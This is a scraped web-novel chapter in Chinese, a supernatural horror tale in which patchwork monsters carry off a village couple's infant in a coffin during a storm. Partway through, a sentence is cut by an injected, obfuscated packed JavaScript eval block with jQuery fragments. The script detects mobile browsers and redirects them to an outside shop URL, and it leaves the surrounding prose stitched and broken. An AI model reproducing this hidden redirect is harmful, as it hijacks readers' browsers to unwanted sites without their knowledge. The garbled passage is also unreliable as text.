默认冷灰
24号文字
方正启体

1. 雨夜平安村神秘客

作者:棉花糖适量本书字数:K更新时间:
    夜阑更深,雷声轰鸣,暴雨如期而至。


    村落里的烛光相继熄灭,伴随着雨砸瓦片,溅起层层水花,小儿啼哭声惊起,烂泥地里出现了大小不一的脚印。


    脚步飞速移动,猛地停在了一座青灰色石壁围成的院落前。


    院前木门紧闭,门楣上刻有“福寿安康”四个大字,铁制门环被扣,发出“咚咚”一声沉闷的响声,里屋传来了不悦的咂嘴声,接着又连叩好几下。


    “大半夜的,谁啊!”身着布衣男子从床上弹起,身旁的妻子轻哄孩子入睡。


    庭院外不语,倏地开始不停地拍门,门板剧烈震颤,听动静,来的不止一个人。


    男子气势汹汹起身,妻子忽感不安,拉住丈夫的胳膊怯怯道:“当家的,我这心里不安,悦儿他一直哭个不停,外头的不会是什么不干净的东西吧?”


    男子扬手一挣,穿上鞋,边往外走边说道:“怕啥,咱家不是有驱妖符。”


    妻子的担忧声从后方传来:“就算是寻常人,也留个心眼,莫要贸然开门呀!”


    男子不耐道:“你男人好歹也有些功夫在身,这深更半夜扰人清净,我非得去收拾他们一顿。”


    拍门声自始至终都没有中断过,吵得人气血翻涌。


    他推开堂屋门,一道惨白的闪电劈开暗沉的天幕,轰然炸开的雷声惊得他一哆嗦,然而院中的家禽却陷入死一般的沉寂。


    他站在檐下,回头看向贴在墙壁正上方的驱妖符,那是前几个月修士路过赠予的。


    当时恰逢悦儿百日之辰,却是高烧持续不退,浑身颤抖,眼睛死死睁着,瞳仁不断胀大。原以为是得了什么绝症,只见修士双指在悦儿印堂处一探,丝丝缕缕的黑气被抽出,凝成一团在指尖旋转。


    悦儿缓缓合上眼眸,身体逐渐平息后“哇”地一声哭了出来。


    修士手腕一翻,默念了几句,黑气在掌心灵力汇聚的漩涡中挣扎,没几下变成一个浅黄色长条物体后便消散了。


    修士凝眉沉思,看神情,似是遇到一件非常棘手的事。


    良久,他开口道:“孩子出生这些天,可曾离开过平安村?”


    男子压下心中惊惧,忙摆手道:“未曾,未曾,别说出这个村了,就是这个院子都没出过,鸢娘将孩子看得紧,生怕磕着碰着,哪也不敢去。”


    后又低声询问道:“仙长,我家悦儿体内为何会有妖物作祟,莫不是这屋子不干净?”


    话音刚落,只听“啊”地一声尖叫,床榻边,满脸泪痕的鸢娘扑身上前将孩子罩在身下,大喊:“滚开,谁都不许伤害我的悦儿。”


    修士温声安抚道:“我探过了,此处并无妖气。”


    他思索一阵,缓缓走向鸢娘,“既不是从外面带回来的,想必就是从娘胎里带出来的。不知娘子近些年可拜过断头神?”说到断头神,修士语气陡然加重。


    男子诧异道:“断头神?没听说过哎,不过神像怎会没有头呢?”


    修士轻描淡写道:“被砍了。”


    男子大惊失色道:“要死了,谁胆子这么大,敢把神的头给砍了?这可是大不敬呐!”


    修士扯了扯嘴角,轻蔑道:“邪神,人人皆可砍。”


    男子挠了挠头,讪讪道:“啊..对!仙长说得对,该砍!只不过我家鸢娘胆子极小,就算给她十个胆子,也不敢随便拜这种野路子神仙,呸,邪神哩。”


    修士不语,静待鸢娘答话。


    鸢娘颤巍巍道:“我不记得了。”


    修士淡然道:“不想说也无妨,等你想说时,随它来找我便是了。”


    他用灵力化出一幅画,画纸上有一鸟,其身如雪,五彩尾羽如扇,斑斓生辉,展翅于山岚之间。影影绰绰间,数座宏伟气派的宫殿坐落于山巅之上,画的左侧方则缀有繁复的灵文。


    修士道:“届时只需将指尖血滴入画中,灵鸟便会从画中出来。”


    他将画交与男子手中。又补充道:“此画放于家中,可避妖邪。”


    男子欣喜,无甚感激,追问道:“敢问仙长尊姓大名?”


    “冉有”说完便悄然离去。


    …


    暴雨如注,院中大树枝桠乱颤,忽明忽暗的闪电将男子的怒气击碎。


    男子拔高嗓音又问了一遍:“门外何人?”,来人依旧不答话。


    他心中匪夷,隐隐不安,思来想去,还是去仓房拿了个梯子搭在院墙上,拍门声却在此刻戛然而止。


    男子心如擂鼓,顺着梯子缓缓攀到墙头向外探去,然而门前却空无一人,唯有一盒子置于阶前,他的视线又沿着村路四处查探,不见任何踪影。


    他蹲下身,掩藏于墙后,待过一阵,看看有何动静。


    一炷香后,他又缓缓抬起头,露出个眼睛向外看去,依旧无人。


    男子深吐一口气,放下戒备,应该是走了,他这么想着,于是开门去拿被留下的盒子。


    然而就在开门的一瞬,忽有一阵罡风灌了进来。


    男子迎面猛憋了一口气,待风平后,稳了稳身形,扶正斗笠,这才弯腰捡起盒子。


    此盒约有一尺长,他将盒子拿在手里掂了两下,不轻。


    回屋途中,好奇心驱使他迫不及待打开了盒子。


    只听“哐当”一声,盒子摔落在地,一浅黄色牌位从里跌了出来,牌位上赫然写着“故夭童周福悦之位”。


    男子僵在原地,死死盯着那个牌位,还没等缓过神来,目光一抬,失声尖叫,一个后仰摔坐倒在地。


    一个硕大的黑色棺材停在院中,男子手脚并用,频频后退,溅起的污泥迅速在白布衣上蔓延开。一直退到墙壁,退无可退,忽有齐刷刷的拍手声自头顶上方传来。


    男子僵硬抬头,细细密密的汗珠与扑打在脸颊上的雨水混杂在一块。


    目光所到之处,墙头上坐着四个不人不鬼的怪物,他们的五官左边长左边的,右边长右边的,像是两张完全不同的脸拼凑在一起,肢体也是极度的不协调。


    壮硕的臂膀、宽大的手掌配纤细的小腿,孩童般的小脚,腰身如柳,大腿又壮如树干,这完全就是东拼西凑组成的“人”。


    四个怪物还长得截然不同,他们对着男子咧嘴微笑,摇头晃脑,目光空洞,笑的时候嘴角一高一低,看着着实瘆人。


    男子只觉自己的心脏要爆裂开,浑身抖如筛糠,随着撕裂的尖叫声响彻夜空,一白色身影迅速往屋里跑。


    谁知!屋里同样传出女子的尖叫声,二人在堂屋内撞了个满怀,鸢娘死死抓住男子的双臂,哆嗦道:“悦儿..悦儿..他..他说话了!”


    就在刚才,鸢娘怀里的悦儿倏地止住了哭声,眼睛猛地一睁,似乎在凝神倾听什么,不一会稚嫩的面颊上浮现出阴森可怖的笑容,边笑边鼓掌,嘿嘿道:“来接我了!”下一刻,目光陡然聚到鸢娘脸上,阴恻恻道:“娘亲陪我一起好不好呀?”


    鸢娘吓得一个激灵将孩子扔到床上,仓皇起身躲到墙角。


    悦儿缓缓翻身,一步一步朝鸢娘爬了过去,声音越来越尖锐道:“好不好嘛?好不好?好不好!”


    “嘭”的一声从床上掉了下来,在地上滚了一圈又爬了起来,鸢娘像是被扼住了喉咙一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976581|193528||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    般,顿在原地,随后失声尖叫,跑了出去。


    …


    男子魂不守舍,浑然没听鸢娘在讲什么,满脑子想的都是驱妖符。


    没错!驱妖符!他像是抓住了救命稻草一般,搬起凳子去拿画,没成想画被死死黏在墙上,扣了半天才起一个小角,倘若用力撕扯,画身不保,男子心急如焚,大汗淋漓。


    鸢娘抓着他的裤腿哭嚷道:“当家的,悦儿爬进棺材里了!”


    她见丈夫恍若未闻,不停地扣画,像是疯了一般,管不上三七二十一,直接冲出去捞悦儿。


    甫一出门,就迎面直击房檐上倒吊下来的怪物,怪物伸出双手朝鸢娘的双肩一推。


    鸢娘只觉耳边一阵劲风,凭空起飞,重重撞向凳子上的男子,二人齐齐摔落在地,凳子崩裂四散。


    男子捂起耳朵,浑身打颤道:“别杀我,别杀我。”


    鸢娘呛了一口血,在地上挣扎,双目充血,断断续续道:“还..我..儿子..”


    房檐倒吊的怪物一个空中转体,稳稳落在地上。顶着一张满面皱纹的左半边脸和细皮嫩肉的右半张脸。


    显然,是老叟和幼童拼凑的,因骨骼大小有差,五官产生了错位。


    怪物掌心运力,邪力随掌推出,欲杀鸢娘,即便是此刻,那瘆人的笑容依旧扒在脸上。


    千钧一发之际,画中的灵文浮出,变成一道灵力横扫迎面扑来的邪力,两力相抵,堂屋门“啪”的一关,将怪物阻挡在门外。


    屋内起了屏障,怪物进不去,迟疑片刻后,它将脖子扭了半圈又摆正身子和其余三个会面,开始封盖。


    四个怪物扛起棺材,棺材离地,随着脚步飞速移动,消失在了平安村。


    …


    天蒙蒙亮,暴雨已然消退,鸡鸣狗吠声响起。


    鸢娘爬出了院落,沿着村路哭喊道:“还我儿子,还我儿子…”


    爬至李家院子时,院里传来胖大娘浑厚的嗓音:“昨夜这雨下得是真大呀!”。


    说来奇怪,胖大娘睡眠一直不好,昨夜又逢暴雨雷鸣,可偏偏困意来袭,挡都挡不住,一觉睡到天明,清晨醒来,只觉精神抖擞,起身去清扫院中落叶。


    胖大娘的汉子准备去田间看看庄稼,刚开门,看见门口趴着一个人,一个踉跄后退大叫了一声。


    胖大娘恼怒道:“大清早的,鬼叫什么!福气都给你叫没了!”


    那汉子惊道:“哎呀呀,这..这有个人。”


    “什么?”胖大娘一脸不可置信,快步行至门口向外一看。“哎呦,还真有个人!这人是活的还是死的呀。”说罢,用扫帚柄碰了碰趴在地上的人。


    鸢娘勉力撑起尺许,嘟嚷道:“还我儿子。”


    胖大娘和李大汉一齐勾着头欲看清此人样貌,奈何此人满身污垢,面部被泥浆遮掩的七七八八。


    胖大娘走上前蹲下身,试探性问道:“这位小娘子,你何故趴我家门前呀?”


    鸢娘不予理睬,自顾自又向前爬了两下,嘴里依旧念叨着:“还我儿子。”


    这一次,胖大娘听到了,她只觉此女声音非常熟悉,苦想了一阵,豁然想起来像谁了。


    “老头子,快快,端盆水来!”胖大娘催促道。李家儿子和媳妇听声响也赶了过来。


    水端来后,胖大娘给鸢娘清了清脸,女子样貌逐渐清晰起来,她心中的猜测被证实,忙问道:“这不是周家娘子嘛!发生何事了?怎么把自己弄成这个模样?”


    鸢娘再也撑不住,抬眼看向胖大娘,呜咽道:“大娘,我儿子被妖怪夺走了。”说完便晕了过去。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)